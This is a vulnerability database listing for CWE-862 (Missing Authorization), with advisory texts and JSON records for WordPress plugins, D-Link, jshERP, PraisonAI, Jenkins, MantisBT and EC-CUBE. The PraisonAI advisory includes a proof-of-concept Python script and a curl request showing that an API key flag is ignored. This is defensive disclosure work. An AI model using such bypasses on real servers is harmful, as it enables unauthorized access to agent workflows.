Common Weakness Enumeration

CWE-862

Allowed-with-Review

Missing Authorization

Abstraction: Class · Status: Incomplete

API response cwe.mitre.org

The product does not perform an authorization check when an actor attempts to access a resource or perform an action.

18003 vulnerabilities reference this CWE, most recent first.

GHSA-PVX9-87PP-P3XM

Vulnerability from github – Published: 2024-12-09 15:31 – Updated: 2026-04-23 15:33
VLAI
Details

Missing Authorization vulnerability in Easy Social Feed Easy Social Feed allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Easy Social Feed: from n/a through 6.5.1.

Severity
4.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2023-48740"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-12-09T13:15:33Z",
    "severity": "MODERATE"
  },
  "details": "Missing Authorization vulnerability in Easy Social Feed Easy Social Feed allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Easy Social Feed: from n/a through 6.5.1.",
  "id": "GHSA-pvx9-87pp-p3xm",
  "modified": "2026-04-23T15:33:36Z",
  "published": "2024-12-09T15:31:35Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-48740"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/wordpress/plugin/easy-facebook-likebox/vulnerability/wordpress-easy-social-feed-plugin-6-5-1-broken-access-control-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-PVXF-38X8-QCMC

Vulnerability from github – Published: 2024-09-06 18:31 – Updated: 2024-09-07 00:31
VLAI
Details

D-Link DIR-823G v1.0.2B05_20181207 is vulnerable to Information Disclosure. The device allows unauthorized configuration file downloads, and the downloaded configuration files contain plaintext user passwords.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-44408"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-200",
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-09-06T16:15:03Z",
    "severity": "HIGH"
  },
  "details": "D-Link DIR-823G v1.0.2B05_20181207 is vulnerable to Information Disclosure. The device allows unauthorized configuration file downloads, and the downloaded configuration files contain plaintext user passwords.",
  "id": "GHSA-pvxf-38x8-qcmc",
  "modified": "2024-09-07T00:31:28Z",
  "published": "2024-09-06T18:31:30Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-44408"
    },
    {
      "type": "WEB",
      "url": "https://github.com/lonelylonglong/openfile-/blob/main/DIR-823G.md/CVE-2024-44408"
    },
    {
      "type": "WEB",
      "url": "https://github.com/lonelylonglong/openfile-/blob/main/DIR-823G.md/DIR-823G.md"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-PVXX-75WV-6W9M

Vulnerability from github – Published: 2026-09-21 21:31 – Updated: 2026-09-21 21:31
VLAI
Details

jshERP through 3.6 contains an authorization bypass vulnerability in the userBusiness CRUD endpoints that allows authenticated users to create, modify, or delete authorization-relation rows without privilege checks. Attackers can manipulate user-role mappings and access controls to escalate privileges, strip access from other accounts, or modify role-function relationships for any user in the tenant.

Severity
8.8 (High)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
8.7 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-94501"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-09-21T19:17:21Z",
    "severity": "HIGH"
  },
  "details": "jshERP through 3.6 contains an authorization bypass vulnerability in the userBusiness CRUD endpoints that allows authenticated users to create, modify, or delete authorization-relation rows without privilege checks. Attackers can manipulate user-role mappings and access controls to escalate privileges, strip access from other accounts, or modify role-function relationships for any user in the tenant.",
  "id": "GHSA-pvxx-75wv-6w9m",
  "modified": "2026-09-21T21:31:54Z",
  "published": "2026-09-21T21:31:53Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-94501"
    },
    {
      "type": "WEB",
      "url": "https://github.com/LinYuanyi1/cve-request-poc/blob/master/jshERP/poc-07-userbusiness-authorization-delete.py"
    },
    {
      "type": "WEB",
      "url": "https://github.com/jishenghua/jshERP"
    },
    {
      "type": "WEB",
      "url": "https://github.com/jishenghua/jshERP/blob/v3.6/jshERP-boot/src/main/java/com/jsh/erp/controller/UserBusinessController.java#L50-L80"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/jsherp-through-3.6-privilege-escalation-via-userbusiness-crud"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-PVXX-R596-F5QJ

Vulnerability from github – Published: 2026-08-25 15:06 – Updated: 2026-08-25 15:06
VLAI
Summary
PraisonAI: `--api-key` flag on `praisonai serve` is not properly enforced
Details

Summary

praisonai serve agents and praisonai serve unified both accept --api-key for authentication. The flag is parsed but never wired into the FastAPI app — no middleware, no header check, nothing. The server runs wide open regardless of what key you set. Tested on 4.6.50 from PyPI.

Affected versions

  • Confirmed on 4.6.50 (current PyPI, 2026-06-02)
  • Likely since 4.6.34 when the serve subsystem shipped
  • File: src/praisonai/praisonai/cli/features/serve.py

What happens

The CLI defines --api-key in the arg spec (serve.py:199) and passes the parsed value into _create_agents_app(config). But that function never reads config["api_key"]. The FastAPI app gets created with no auth at all. Same thing in _create_unified_app.

The help text says --api-key <key> API key for authentication, so this isn't ambiguous — it's supposed to protect the server. It just doesn't.

$ grep -n "api_key" src/praisonai/praisonai/cli/features/serve.py
107:  --api-key <key>   API key for authentication
199:            "api_key": {"default": None},
847:            "api_key": {"default": None},

Endpoints exposed without auth

  • POST /agents — runs the full agent workflow
  • POST /agents/{name} — invokes a specific agent
  • POST /api/v1/agents/{id}/invoke — n8n integration endpoint
  • GET / — lists all endpoints
  • GET /__praisonai__/discovery — service discovery

Not the same as CVE-2026-44338

CVE-2026-44338 was about the legacy deploy/api.py hardcoding AUTH_ENABLED = False. That was fixed in 4.6.34. This bug is in the newer serve subsystem that shipped in the same release — the --api-key flag exists but was never connected to anything.

PoC

Setup

python3 -m venv /tmp/poc-venv
/tmp/poc-venv/bin/pip install praisonai==4.6.50 fastapi starlette httpx pyyaml

Script

import sys, types, tempfile, os

# Stub heavy deps so we only test the serve auth logic
for m in ["praisonai.endpoints.discovery", "praisonai.endpoints.server",
          "praisonai.api", "praisonai.api.agent_invoke",
          "praisonai.agents_generator", "praisonai.inc"]:
    sys.modules[m] = types.ModuleType(m)

disc = sys.modules["praisonai.endpoints.discovery"]
class Fake:
    def __init__(self, **k): pass
    def add_provider(self, *a, **k): pass
    def add_endpoint(self, *a, **k): pass
    def to_dict(self): return {}
disc.create_discovery_document = lambda **k: Fake()
disc.EndpointInfo = Fake
disc.ProviderInfo = Fake
sys.modules["praisonai.endpoints.server"].add_discovery_routes = lambda a,b: None
sys.modules["praisonai.api.agent_invoke"].FASTAPI_AVAILABLE = False

class FakeGen:
    def __init__(self, **k): pass
    def generate_crew_and_kickoff(self):
        return {"executed": True, "result": "workflow ran"}
sys.modules["praisonai.agents_generator"].AgentsGenerator = FakeGen

class FakeLLM:
    def to_dict(self): return {}
sys.modules["praisonai.inc"].LLMConfig = FakeLLM

f = tempfile.NamedTemporaryFile(mode="w", suffix=".yaml", delete=False)
f.write("name: T\nagents:\n  a:\n    name: A\n    role: R\n    goal: G\n    backstory: B\n")
f.flush()

from praisonai.cli.features.serve import ServeHandler
app = ServeHandler()._create_agents_app({
    "file": f.name, "host": "0.0.0.0", "port": 8000,
    "path": "/agents", "reload": False,
    "api_key": "supersecret",   # <-- should protect the server
})

from starlette.testclient import TestClient
c = TestClient(app)

r1 = c.post("/agents", json={"query": "run"})
r2 = c.post("/agents", json={"query": "run"},
            headers={"Authorization": "Bearer TOTALLY_WRONG"})

print(f"No auth header → {r1.status_code}")   # 200
print(f"Wrong key      → {r2.status_code}")   # 200

os.unlink(f.name)

Output

No auth header → 200
Wrong key      → 200

Both succeed. The key is ignored.

Live server test

# start server with --api-key
praisonai serve agents --api-key supersecret --host 0.0.0.0 --port 9999

# hit it without any auth
curl -s -X POST http://localhost:9999/agents \
  -H "Content-Type: application/json" \
  -d '{"query":"run all agents"}'
# → 200, workflow executes

Impact

Anyone who can reach the server can trigger agent workflows without credentials. The operator set --api-key and got no error, so they think it's protected.

What an attacker gets depends on what the agents.yaml workflow can do — LLM calls, tool use, file access, code execution, web requests. At minimum it's unauthenticated API quota burn.

Fix

_create_agents_app() and _create_unified_app() need to actually read config["api_key"] and add a FastAPI dependency that checks the Authorization: Bearer header. When binding to a non-loopback address without --api-key, the server should warn or refuse to start.

References

  • CVE-2026-44338 / GHSA-6rmh-7xcm-cpxj (prior auth bypass, different component)
Severity
8.8 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:H/VA:H/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "PraisonAI"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.6.58"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-55541"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-25T15:06:09Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Summary\n\n`praisonai serve agents` and `praisonai serve unified` both accept `--api-key` for authentication. The flag is parsed but never wired into the FastAPI app \u2014 no middleware, no header check, nothing. The server runs wide open regardless of what key you set. Tested on 4.6.50 from PyPI.\n\n## Affected versions\n\n- Confirmed on **4.6.50** (current PyPI, 2026-06-02)\n- Likely since **4.6.34** when the serve subsystem shipped\n- File: `src/praisonai/praisonai/cli/features/serve.py`\n\n## What happens\n\nThe CLI defines `--api-key` in the arg spec (`serve.py:199`) and passes the parsed value into `_create_agents_app(config)`. But that function never reads `config[\"api_key\"]`. The FastAPI app gets created with no auth at all. Same thing in `_create_unified_app`.\n\nThe help text says `--api-key \u003ckey\u003e   API key for authentication`, so this isn\u0027t ambiguous \u2014 it\u0027s supposed to protect the server. It just doesn\u0027t.\n```\n$ grep -n \"api_key\" src/praisonai/praisonai/cli/features/serve.py\n107:  --api-key \u003ckey\u003e   API key for authentication\n199:            \"api_key\": {\"default\": None},\n847:            \"api_key\": {\"default\": None},\n```\n\n## Endpoints exposed without auth\n\n- `POST /agents` \u2014 runs the full agent workflow\n- `POST /agents/{name}` \u2014 invokes a specific agent\n- `POST /api/v1/agents/{id}/invoke` \u2014 n8n integration endpoint\n- `GET /` \u2014 lists all endpoints\n- `GET /__praisonai__/discovery` \u2014 service discovery\n\n## Not the same as CVE-2026-44338\n\nCVE-2026-44338 was about the legacy `deploy/api.py` hardcoding `AUTH_ENABLED = False`. That was fixed in 4.6.34. This bug is in the newer `serve` subsystem that shipped in the same release \u2014 the `--api-key` flag exists but was never connected to anything.\n\n## PoC\n\n### Setup\n\n```bash\npython3 -m venv /tmp/poc-venv\n/tmp/poc-venv/bin/pip install praisonai==4.6.50 fastapi starlette httpx pyyaml\n```\n\n### Script\n\n```python\nimport sys, types, tempfile, os\n\n# Stub heavy deps so we only test the serve auth logic\nfor m in [\"praisonai.endpoints.discovery\", \"praisonai.endpoints.server\",\n          \"praisonai.api\", \"praisonai.api.agent_invoke\",\n          \"praisonai.agents_generator\", \"praisonai.inc\"]:\n    sys.modules[m] = types.ModuleType(m)\n\ndisc = sys.modules[\"praisonai.endpoints.discovery\"]\nclass Fake:\n    def __init__(self, **k): pass\n    def add_provider(self, *a, **k): pass\n    def add_endpoint(self, *a, **k): pass\n    def to_dict(self): return {}\ndisc.create_discovery_document = lambda **k: Fake()\ndisc.EndpointInfo = Fake\ndisc.ProviderInfo = Fake\nsys.modules[\"praisonai.endpoints.server\"].add_discovery_routes = lambda a,b: None\nsys.modules[\"praisonai.api.agent_invoke\"].FASTAPI_AVAILABLE = False\n\nclass FakeGen:\n    def __init__(self, **k): pass\n    def generate_crew_and_kickoff(self):\n        return {\"executed\": True, \"result\": \"workflow ran\"}\nsys.modules[\"praisonai.agents_generator\"].AgentsGenerator = FakeGen\n\nclass FakeLLM:\n    def to_dict(self): return {}\nsys.modules[\"praisonai.inc\"].LLMConfig = FakeLLM\n\nf = tempfile.NamedTemporaryFile(mode=\"w\", suffix=\".yaml\", delete=False)\nf.write(\"name: T\\nagents:\\n  a:\\n    name: A\\n    role: R\\n    goal: G\\n    backstory: B\\n\")\nf.flush()\n\nfrom praisonai.cli.features.serve import ServeHandler\napp = ServeHandler()._create_agents_app({\n    \"file\": f.name, \"host\": \"0.0.0.0\", \"port\": 8000,\n    \"path\": \"/agents\", \"reload\": False,\n    \"api_key\": \"supersecret\",   # \u003c-- should protect the server\n})\n\nfrom starlette.testclient import TestClient\nc = TestClient(app)\n\nr1 = c.post(\"/agents\", json={\"query\": \"run\"})\nr2 = c.post(\"/agents\", json={\"query\": \"run\"},\n            headers={\"Authorization\": \"Bearer TOTALLY_WRONG\"})\n\nprint(f\"No auth header \u2192 {r1.status_code}\")   # 200\nprint(f\"Wrong key      \u2192 {r2.status_code}\")   # 200\n\nos.unlink(f.name)\n```\n\n### Output\n\n```\nNo auth header \u2192 200\nWrong key      \u2192 200\n```\n\nBoth succeed. The key is ignored.\n\n### Live server test\n\n```bash\n# start server with --api-key\npraisonai serve agents --api-key supersecret --host 0.0.0.0 --port 9999\n\n# hit it without any auth\ncurl -s -X POST http://localhost:9999/agents \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\"query\":\"run all agents\"}\u0027\n# \u2192 200, workflow executes\n```\n\n## Impact\n\nAnyone who can reach the server can trigger agent workflows without credentials. The operator set `--api-key` and got no error, so they think it\u0027s protected.\n\nWhat an attacker gets depends on what the agents.yaml workflow can do \u2014 LLM calls, tool use, file access, code execution, web requests. At minimum it\u0027s unauthenticated API quota burn.\n\n## Fix\n\n`_create_agents_app()` and `_create_unified_app()` need to actually read `config[\"api_key\"]` and add a FastAPI dependency that checks the `Authorization: Bearer` header. When binding to a non-loopback address without `--api-key`, the server should warn or refuse to start.\n\n## References\n\n- CVE-2026-44338 / GHSA-6rmh-7xcm-cpxj (prior auth bypass, different component)",
  "id": "GHSA-pvxx-r596-f5qj",
  "modified": "2026-08-25T15:06:09Z",
  "published": "2026-08-25T15:06:09Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-pvxx-r596-f5qj"
    },
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/commit/2f9677abb2ea68eab864ee8b6a828fd0141612e1"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/MervinPraison/PraisonAI"
    },
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/releases/tag/v4.6.58"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:H/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "PraisonAI: `--api-key` flag on `praisonai serve` is not properly enforced"
}

GHSA-PW36-HXW6-V2X3

Vulnerability from github – Published: 2025-09-22 21:30 – Updated: 2026-04-01 18:36
VLAI
Details

Missing Authorization vulnerability in ONTRAPORT PilotPress allows Exploiting Incorrectly Configured Access Control Security Levels. This issue affects PilotPress: from n/a through 2.0.35.

Severity
4.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-58221"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-09-22T19:16:06Z",
    "severity": "MODERATE"
  },
  "details": "Missing Authorization vulnerability in ONTRAPORT PilotPress allows Exploiting Incorrectly Configured Access Control Security Levels. This issue affects PilotPress: from n/a through 2.0.35.",
  "id": "GHSA-pw36-hxw6-v2x3",
  "modified": "2026-04-01T18:36:14Z",
  "published": "2025-09-22T21:30:26Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-58221"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/wordpress/plugin/pilotpress/vulnerability/wordpress-pilotpress-plugin-2-0-35-broken-access-control-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-PW4G-JCP5-63M9

Vulnerability from github – Published: 2022-07-28 00:00 – Updated: 2023-10-27 20:19
VLAI
Summary
Jenkins rpmsign-plugin does not perform a permission check in a method implementing form validation
Details

Jenkins rpmsign-plugin Plugin 0.5.0 and earlier does not perform a permission check in a method implementing form validation.

This allows attackers with Item/Read permission but without Item/Workspace or Item/Configure permission to check whether attacker-specified file patterns match workspace contents. A sequence of requests can be used to effectively list workspace contents.

rpmsign-plugin Plugin 0.5.1 requires Item/Workspace permission to validate patterns with workspace contents.

Severity
4.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.5.0"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "org.jenkins-ci.plugins:rpmsign-plugin"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.5.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2022-36893"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2022-08-10T22:09:01Z",
    "nvd_published_at": "2022-07-27T15:15:00Z",
    "severity": "MODERATE"
  },
  "details": "Jenkins rpmsign-plugin Plugin 0.5.0 and earlier does not perform a permission check in a method implementing form validation.\n\nThis allows attackers with Item/Read permission but without Item/Workspace or Item/Configure permission to check whether attacker-specified file patterns match workspace contents. A sequence of requests can be used to effectively list workspace contents.\n\nrpmsign-plugin Plugin 0.5.1 requires Item/Workspace permission to validate patterns with workspace contents.",
  "id": "GHSA-pw4g-jcp5-63m9",
  "modified": "2023-10-27T20:19:17Z",
  "published": "2022-07-28T00:00:42Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-36893"
    },
    {
      "type": "WEB",
      "url": "https://github.com/jenkinsci/rpmsign-plugin/commit/1b136cddf908138864cfe1c9c861114f5d263871"
    },
    {
      "type": "WEB",
      "url": "https://www.jenkins.io/security/advisory/2022-07-27/#SECURITY-2403"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2022/07/27/1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Jenkins rpmsign-plugin does not perform a permission check in a method implementing form validation"
}

GHSA-PW5X-2MF9-3XC8

Vulnerability from github – Published: 2026-05-11 19:39 – Updated: 2026-06-09 10:23
VLAI
Summary
MantisBT has a Private Bugnote Attachment Content Leak via REST API
Details

A missing authorization check in MantisBT's file visibility function allows any authenticated user (REPORTER+) to download attachments on private bugnotes they should not be able to access, via the REST API endpoint GET /api/rest/issues/{id}/files and SOAP API mc_issue_attachment_get endpoint.

Impact

  • REPORTER (access level 25) can view file attachments that were uploaded to private bugnotes by DEVELOPER/MANAGER/ADMIN users
  • Private bugnotes are intended for internal developer discussion; their attachments (logs, screenshots, patches) should be equally protected
  • The web UI is NOT affected — it filters through bugnote_get_all_visible_bugnotes() first

Patches

  • 029d9d203d9e4ae96b3e59d552fa7395cc1e5071

Workarounds

None

Credits

Thanks to the following security researchers for independently discovering and responsibly reporting the issue. - Vishal Shukla - Tristan Madani (@TristanInSec) from Talence Security - Tang Cheuk Hei (@siunam321)

This advisory's contents was largely copied from Tristan's well-written report.

Severity
7.2 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:L/VA:L/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.28.1"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "mantisbt/mantisbt"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.23.0"
            },
            {
              "fixed": "2.28.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-42071"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-11T19:39:43Z",
    "nvd_published_at": "2026-05-28T21:16:30Z",
    "severity": "HIGH"
  },
  "details": "A missing authorization check in MantisBT\u0027s file visibility function allows any authenticated user (REPORTER+) to download attachments on private bugnotes they should not be able to access, via the REST API endpoint GET /api/rest/issues/{id}/files and SOAP API mc_issue_attachment_get endpoint.\n\n### Impact\n- REPORTER (access level 25) can view file attachments that were uploaded to private bugnotes by DEVELOPER/MANAGER/ADMIN users\n- Private bugnotes are intended for internal developer discussion; their attachments (logs, screenshots, patches) should be equally protected\n- The web UI is NOT affected \u2014 it filters through bugnote_get_all_visible_bugnotes() first\n\n### Patches\n- 029d9d203d9e4ae96b3e59d552fa7395cc1e5071\n\n### Workarounds\nNone\n\n### Credits\nThanks to the following security researchers for independently discovering and responsibly reporting the issue.\n- Vishal Shukla \n- Tristan Madani (@TristanInSec) from Talence Security \n- Tang Cheuk Hei (@siunam321) \n\nThis advisory\u0027s contents was largely copied from Tristan\u0027s well-written report.",
  "id": "GHSA-pw5x-2mf9-3xc8",
  "modified": "2026-06-09T10:23:52Z",
  "published": "2026-05-11T19:39:43Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/mantisbt/mantisbt/security/advisories/GHSA-pw5x-2mf9-3xc8"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42071"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mantisbt/mantisbt/commit/029d9d203d9e4ae96b3e59d552fa7395cc1e5071"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-xjmx-cprh-646r"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/mantisbt/mantisbt"
    },
    {
      "type": "WEB",
      "url": "https://mantisbt.org/bugs/view.php?id=27039"
    },
    {
      "type": "WEB",
      "url": "https://mantisbt.org/bugs/view.php?id=36985"
    },
    {
      "type": "WEB",
      "url": "https://mantisbt.org/bugs/view.php?id=37092"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:L/VA:L/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "MantisBT has a Private Bugnote Attachment Content Leak via REST API"
}

GHSA-PW7C-2549-52JP

Vulnerability from github – Published: 2024-08-19 21:35 – Updated: 2024-08-19 21:35
VLAI
Details

Missing Authorization vulnerability in Jamie Bergen Plugin Notes Plus allows Accessing Functionality Not Properly Constrained by ACLs.This issue affects Plugin Notes Plus: from n/a through 1.2.7.

Severity
5.4 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-43326"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-08-19T20:15:07Z",
    "severity": "MODERATE"
  },
  "details": "Missing Authorization vulnerability in Jamie Bergen Plugin Notes Plus allows Accessing Functionality Not Properly Constrained by ACLs.This issue affects Plugin Notes Plus: from n/a through 1.2.7.",
  "id": "GHSA-pw7c-2549-52jp",
  "modified": "2024-08-19T21:35:11Z",
  "published": "2024-08-19T21:35:11Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-43326"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/vulnerability/plugin-notes-plus/wordpress-plugin-notes-plus-plugin-1-2-7-arbitrary-content-deletion-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-PW97-45HW-HHM3

Vulnerability from github – Published: 2024-05-02 18:30 – Updated: 2026-04-08 18:33
VLAI
Details

The Advanced Post Block – Display Posts, Pages, or Custom Posts on Your Page plugin for WordPress is vulnerable to unauthorized access of data due to a missing capability check on the apbPosts() function hooked via an AJAX action in all versions up to, and including, 1.13.1. This makes it possible for unauthenticated attackers to retrieve all post data, including those that may be password protected.

Severity
5.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-0908"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-05-02T17:15:10Z",
    "severity": "MODERATE"
  },
  "details": "The Advanced Post Block \u2013 Display Posts, Pages, or Custom Posts on Your Page plugin for WordPress is vulnerable to unauthorized access of data due to a missing capability check on the apbPosts() function hooked via an AJAX action in all versions up to, and including, 1.13.1. This makes it possible for unauthenticated attackers to retrieve all post data, including those that may be password protected.",
  "id": "GHSA-pw97-45hw-hhm3",
  "modified": "2026-04-08T18:33:00Z",
  "published": "2024-05-02T18:30:52Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-0908"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/advanced-post-block/trunk/plugin.php#L173"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/changeset/3081482/advanced-post-block/trunk/plugin.php?old=3077963\u0026old_path=advanced-post-block%2Ftrunk%2Fplugin.php"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/8fb6c221-d885-42b5-977c-39e8608e3e31?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-PW97-6V74-9W3P

Vulnerability from github – Published: 2022-02-25 00:01 – Updated: 2024-04-25 20:40
VLAI
Summary
EC-CUBE improperly handles HTTP Host header values
Details

EC-CUBE 3.0.0 to 3.0.18-p3 and EC-CUBE 4.0.0 to 4.1.1 improperly handle HTTP Host header values, which may lead a remote unauthenticated attacker to direct the vulnerable version of EC-CUBE to send an Email with some forged reissue-password URL to EC-CUBE users.

Severity
5.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "ec-cube/ec-cube"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.0.0"
            },
            {
              "last_affected": "3.0.18-p3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.1.1"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "ec-cube/ec-cube"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.0.0"
            },
            {
              "fixed": "4.1.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2022-25355"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-04-25T20:40:50Z",
